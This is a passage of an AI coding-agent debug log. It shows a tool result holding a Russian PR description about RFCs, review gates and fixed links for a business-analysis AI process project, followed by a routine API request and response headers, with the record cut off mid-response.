\u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u0431\u0430\u0437\u044b \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u0431\u0438\u0440\u0430\u0442\u044c \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u043f\u043e\u0438\u0441\u043a\u0430, \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u044f \u043f\u043e\u043b\u043d\u044b\u0439 \u043e\u0442\u0447\u0451\u0442 \u043e \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u0438. | [RFC \u0430\u0431\u0441\u0442\u0440\u0430\u043a\u0446\u0438\u0438 \u00a75](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-bcreq-abstraction-and-product-routing.md); \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u044e\u0449\u0438\u0439 \u0432\u0445\u043e\u0434 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0443\u043a\u0430\u0437\u0430\u043d \u043d\u0438\u0436\u0435. |\\n| #602 \u0438 #604: `G-human` \u0438 `n0` | \u0410\u0433\u0435\u043d\u0442 \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442 mapping \u0441 \u043f\u0440\u0430\u0432\u0438\u043b\u043e\u043c, evidence, \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u0430\u043c\u0438, \u0440\u0438\u0441\u043a\u043e\u043c \u0438 \u043c\u043e\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0435\u0439; BA \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442/\u043e\u0442\u043a\u043b\u043e\u043d\u044f\u0435\u0442 mapping \u0441 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439, \u043d\u0435 \u043f\u0440\u0438\u0434\u0443\u043c\u044b\u0432\u0430\u0435\u0442 \u043c\u0435\u0442\u043e\u0434 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430. `n0` \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0440\u0430\u043d\u043d\u0438\u043c \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u043c \u0433\u0435\u0439\u0442\u043e\u043c \u0434\u043b\u044f BCREQ. | [RFC \u0430\u0431\u0441\u0442\u0440\u0430\u043a\u0446\u0438\u0438 \u00a75](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-bcreq-abstraction-and-product-routing.md); \u0442\u0435\u043a\u0443\u0449\u0438\u0439 [route](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/routes/rg-bcreq-v1.yaml) \u043f\u043e\u043a\u0430 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442 \u043b\u0438\u0448\u044c MANGO-\u0446\u0435\u043f\u043e\u0447\u043a\u0443. |\\n| #602: Content profiles | \u041f\u0440\u043e\u0444\u0438\u043b\u0438 API, \u041b\u041a, \u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u0439 \u043a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440\u0430, \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u0439 \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a\u0430 \u0438 AI/\u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u0441\u043e\u0447\u0435\u0442\u0430\u044e\u0442\u0441\u044f. \u0420\u043e\u0431\u043e\u0442\u044b \u0438 \u0440\u0435\u0447\u0435\u0432\u0430\u044f \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u043e\u0434\u0438\u043d AI-\u043f\u0440\u043e\u0444\u0438\u043b\u044c \u0441 \u0440\u0430\u0437\u043d\u044b\u043c\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u043c\u0438 bindings. \u0412\u0438\u0434\u0435\u043e \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e \u0444\u0430\u043a\u0442\u0443 \u043d\u0430\u043b\u0438\u0447\u0438\u044f capability. | [RFC \u0430\u0431\u0441\u0442\u0440\u0430\u043a\u0446\u0438\u0438 \u00a76](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-bcreq-abstraction-and-product-routing.md); \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0435 \u0444\u0430\u043a\u0442\u044b \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u044b [\u0441\u043d\u0438\u043c\u043a\u043e\u043c MANGO](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/product-taxonomy/mango-products.yaml). |\\n| #606: Pre-decomposition \u0438 \u0442\u0440\u0438 \u0433\u0435\u0439\u0442\u0430 | Evidence, goal/task/boundary, as-is\u2192delta, product binding \u0438 claim register \u0441\u043e\u0437\u0434\u0430\u044e\u0442\u0441\u044f \u0432 Working \u0434\u043e FR/UC/NFR. `G-mach` \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443, `G-semantic` \u2014 \u0441\u043c\u044b\u0441\u043b \u0441 rationale, `G-human` \u2014 \u0441\u043f\u043e\u0440\u043d\u044b\u0439 \u0432\u044b\u0431\u043e\u0440 \u0438 \u043f\u0440\u0438\u0451\u043c\u043a\u0443. | [\u0424\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md) \u0438 \u043e\u0431\u0430 RFC; \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 runtime contract \u0435\u0449\u0451 \u043d\u0435 \u0441\u043e\u0431\u0440\u0430\u043d. |\\n| #606: TM Forum + SID | \u0422\u043e\u0447\u043d\u044b\u0435 ID TM Forum \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f `unresolved` \u0431\u0435\u0437 snapshot; SID \u2014 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u0442\u0438\u043f\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0438 \u043a\u0430\u043d\u0434\u0438\u0434\u0430\u0442 \u0434\u043b\u044f \u044d\u0441\u043a\u0430\u043b\u0430\u0446\u0438\u0438, \u0430 \u043d\u0435 \u0437\u0430\u043c\u0435\u043d\u0430 capability/eTOM ID. \u0412\u043b\u0430\u0434\u0435\u043b\u0435\u0446 \u0441\u0447\u0451\u043b \u0442\u0435\u043a\u0443\u0449\u0443\u044e \u0432\u044b\u0431\u043e\u0440\u043a\u0443 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\u0439; 23 \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0447\u0430\u0442\u0430 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0433\u0440\u0430\u043d\u0438\u0446\u0435\u0439 evidence. | [RFC \u0430\u0431\u0441\u0442\u0440\u0430\u043a\u0446\u0438\u0438 \u00a710](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-bcreq-abstraction-and-product-routing.md) \u0438 [\u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md). \u041e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u043e \u0440\u043e\u043b\u0438 SID \u2014 [TM Forum Information Framework](https://www.tmforum.org/open-digital-architecture/information-framework-sid/). |\\n| #608: \u043f\u044f\u0442\u044c \u0440\u0435\u0448\u0435\u043d\u0438\u0439 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u0430 | Working \u2014 \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0439 baseline; Release \u2014 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u044f; 2.3 \u00ab\u0413\u0440\u0430\u043d\u0438\u0446\u044b \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f\u00bb; NFR\u2192FR \u0438 compatibility closure; pre/post gates; \u0440\u0430\u0437\u0434\u0435\u043b 4 \u00ab\u0424\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u0434\u0438\u0437\u0430\u0439\u043d \u0440\u0435\u0448\u0435\u043d\u0438\u044f\u00bb. | [RFC Working \u2192 Release](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-bcreq-working-release-pipeline.md), \u0441\u0442\u0430\u0442\u0443\u0441 `accepted`. |\\n\\n## \u0421\u043a\u0432\u043e\u0437\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439\\n\\n| \u041a\u043e\u043d\u0442\u0443\u0440 | \u041f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0439 \u0444\u0430\u043a\u0442 | \u0418\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0438 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u044c |\\n| --- | --- | --- |\\n| Scope \u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442 | [README \u043f\u0440\u043e\u0435\u043a\u0442\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/README.md) \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442 `mango-only` \u043a\u0430\u043a \u0432\u0435\u0441\u044c \u043f\u043e\u0440\u0442\u0444\u0435\u043b\u044c; [MANGO](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/product-taxonomy/mango-products.yaml) \u0438 [telecom](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/product-taxonomy/telecom-products.yaml) \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442 42 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u044f. \u041f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u0445\u0440\u0430\u043d\u0438\u0442 prose, \u043d\u0435 \u0442\u043e\u0447\u043d\u044b\u0435 TM Forum IDs. | \u0421\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c provenance \u043f\u0440\u0438 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438; \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0442\u0438\u043f\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 ID \u0442\u043e\u043b\u044c\u043a\u043e \u0438\u0437 \u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u043e\u0433\u043e snapshot. |\\n| Process \u2192 route | [\u0422\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/process-taxonomy/20-taxonomy.md) \u0432\u044b\u0434\u0435\u043b\u044f\u0435\u0442 `P-08` \u0434\u043b\u044f \u043e\u0446\u0435\u043d\u043a\u0438 \u0447\u0443\u0436\u043e\u0433\u043e \u0422\u0417. [Route](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/routes/rg-bcreq-v1.yaml) \u0438\u043c\u0435\u0435\u0442 `n0` \u0438 MANGO binding, \u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u0432\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0439 BCREQ-\u0441\u0440\u0435\u0437. | \u0412 Source \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 \u043d\u0430\u043c\u0435\u0440\u0435\u043d\u0438\u044f \u0438 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u044b; \u043d\u0435\u043b\u044c\u0437\u044f \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c P-08 \u043a\u0430\u043a \u0443\u0436\u0435 \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u0443\u0442\u044c. |\\n| Evidence \u2192 FR/UC/NFR | [\u0424\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md) \u0437\u0430\u0434\u0430\u0451\u0442 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b; [Golden forms](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-bcreq-golden-forms-and-feasibility.md) \u0437\u0430\u0434\u0430\u044e\u0442 \u043f\u0440\u0438\u043c\u0435\u0440\u044b. \u0422\u0435\u043a\u0443\u0449\u0430\u044f [C-OUT schema](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/contracts/c-out-bcreq.schema.json) \u0435\u0449\u0451 \u043d\u0435 \u0437\u0430\u0434\u0430\u0451\u0442 \u043d\u043e\u0432\u044b\u0439 coverage contract. | \u0421\u043d\u0430\u0447\u0430\u043b\u0430 Working schema \u0438 negative fixtures, \u0437\u0430\u0442\u0435\u043c `G-mach`, semantic regressions \u0438 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 skills. |\\n| Working \u2192 Release | \u0414\u0432\u0430 RFC \u0442\u0435\u043f\u0435\u0440\u044c \u0434\u0435\u043b\u044f\u0442 \u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0441\u0442\u044c: \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0435 \u0441\u043b\u043e\u0442\u044b \u0438 \u0442\u0438\u043f\u044b \u2014 RFC \u0430\u0431\u0441\u0442\u0440\u0430\u043a\u0446\u0438\u0438; \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0430\u044f \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u044f, 2.3, 4 \u0438 \u0443\u0441\u043b\u043e\u0432\u043d\u044b\u0439 7 \u2014 RFC \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u0430. | Source compiler, baseline digest, reverse trace, `G-release` \u0438 privacy checks; Distribution \u0432\u044b\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u0438\u0437 Source \u043f\u043e [ADR-017](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md). |\\n| CLI deployment | \u0422\u0440\u0435\u0442\u0438\u0439 [RFC \u043e \u0440\u0430\u0437\u0432\u0451\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-mango-ba-ai-runtime-cli-deployment.md) \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f `proposed`: \u043e\u043d \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442 \u0441\u0440\u0435\u0434\u0443 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0438 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u044e, \u0430 \u043d\u0435 \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u043a\u0443 BCREQ. | \u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u0441\u0442\u044c Source \u2192 Distribution \u0441 \u044d\u0442\u0438\u043c \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u0438\u0435\u043c \u043f\u0440\u0438 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0439 runtime-\u0437\u0430\u0434\u0430\u0447\u0435; \u0435\u0433\u043e \u043f\u0440\u0438\u043d\u044f\u0442\u0438\u0435 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f \u043d\u0430\u0447\u0430\u043b\u0430 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439 Source. |\\n| \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 | [\u041f\u0430\u043a\u0435\u0442](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/README.md) \u0443\u0436\u0435 \u0438\u043c\u0435\u0435\u0442 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u044b\u0439 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440 \u0438 \u044d\u043c\u0443\u043b\u044f\u0446\u0438\u044e. \u041e\u043d\u0438 \u043d\u0435 \u0434\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u0440\u0435\u043b\u0435\u0432\u0430\u043d\u0442\u043d\u043e\u0441\u0442\u044c, \u0432\u044b\u0431\u043e\u0440 \u043f\u0435\u0440\u0432\u0438\u0447\u043d\u043e\u0439 \u043e\u0441\u0438, NFR\u2192FR \u0438\u043b\u0438 Release-\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044e. | \u0414\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u043f\u043e\u0437\u0438\u0442\u0438\u0432\u043d\u044b\u0435/\u043d\u0435\u0433\u0430\u0442\u0438\u0432\u043d\u044b\u0435 fixtures \u0434\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u043d\u043e\u0432\u043e\u0433\u043e gate, \u0432\u043a\u043b\u044e\u0447\u0430\u044f non-CC, external TZ, missing mapping, orphan NFR, unknown compatibility \u0438 \u043f\u043e\u0442\u0435\u0440\u044f\u043d\u043d\u044b\u0439 edge case. |\\n\\n\u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0441\u0441\u044b\u043b\u043e\u043a \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 12 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 Markdown-\u0441\u0441\u044b\u043b\u043e\u043a \u0432 \u043c\u043e\u0434\u0443\u043b\u044f\u0445\\n\u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u0438 \u043e\u0434\u0438\u043d URL \u043d\u0430 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 `30-production-law.md`. \u041e\u043d\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b\\n\u0432 \u044d\u0442\u043e\u043c PR. \u041e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u0443\u0442\u0438 \u0432 frontmatter, \u043a\u043e\u0434\u0435 \u0438 YAML \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f\\n\u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u043c\u0438 \u043f\u0443\u0442\u044f\u043c\u0438/\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f\u043c\u0438, \u0430 \u043d\u0435 Markdown-\u0441\u0441\u044b\u043b\u043a\u0430\u043c\u0438.\\n\\n## \u041d\u0435\u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u043d\u043e\u0435 \u0438 \u043f\u0443\u0442\u044c \u043a \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438\",\n[2026-09-29T07:45:10.620Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:45:10.620Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:45:10.620Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:45:10.620Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:45:10.620Z] [INFO]   }\n[2026-09-29T07:45:10.620Z] [INFO] }\n[2026-09-29T07:45:10.641Z] [STDOUT] [log_5ecd4b] sending request {\n[2026-09-29T07:45:10.651Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:45:10.657Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:10.670Z] [STDOUT]   options: {\n[2026-09-29T07:45:10.684Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:45:10.690Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:45:10.693Z] [STDOUT]     body: {\n[2026-09-29T07:45:10.701Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:45:10.704Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:45:10.711Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:45:10.714Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:45:10.733Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:45:10.740Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:45:10.744Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:45:10.753Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:45:10.758Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:45:10.761Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:45:10.769Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:45:10.784Z] [STDOUT]       stream: true,\n[2026-09-29T07:45:10.789Z] [STDOUT]     },\n[2026-09-29T07:45:10.793Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:45:10.796Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:45:10.801Z] [STDOUT]       aborted: false,\n[2026-09-29T07:45:10.807Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:45:10.818Z] [STDOUT]       onabort: null,\n[2026-09-29T07:45:10.844Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:45:10.851Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:45:10.854Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:45:10.860Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:45:10.863Z] [STDOUT]     },\n[2026-09-29T07:45:10.872Z] [STDOUT]     stream: true,\n[2026-09-29T07:45:10.875Z] [STDOUT]   },\n[2026-09-29T07:45:10.879Z] [STDOUT]   headers: {\n[2026-09-29T07:45:10.884Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:45:10.888Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:45:10.894Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:45:10.897Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:45:10.900Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:45:10.902Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:45:10.904Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:45:10.908Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:45:10.913Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:45:10.917Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=2074\",\n[2026-09-29T07:45:10.927Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:45:10.931Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:45:10.939Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:10.952Z] [STDOUT]     \"x-client-request-id\": \"925ad449-bfa4-41b9-bf14-bcea95bd6593\",\n[2026-09-29T07:45:10.962Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:45:10.968Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:45:10.974Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:45:10.978Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:45:10.982Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:45:10.987Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:45:10.989Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:45:10.995Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:45:10.997Z] [STDOUT]   },\n[2026-09-29T07:45:11.000Z] [STDOUT] }\n[2026-09-29T07:45:11.178Z] [STDOUT] [log_3bf29b, request-id: \"req_011CfXMjgJ8USZ4uKEzZTb4E\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 1043ms\n[2026-09-29T07:45:11.182Z] [STDOUT] [log_3bf29b] response start {\n[2026-09-29T07:45:11.186Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:11.191Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:11.194Z] [STDOUT]   headers: {\n[2026-09-29T07:45:11.198Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:11.202Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:11.212Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:11.218Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:11.222Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:11.233Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:11.236Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:11.261Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:45:11.271Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:11.277Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:11.285Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:11.289Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:11.296Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:11.301Z] [STDOUT]     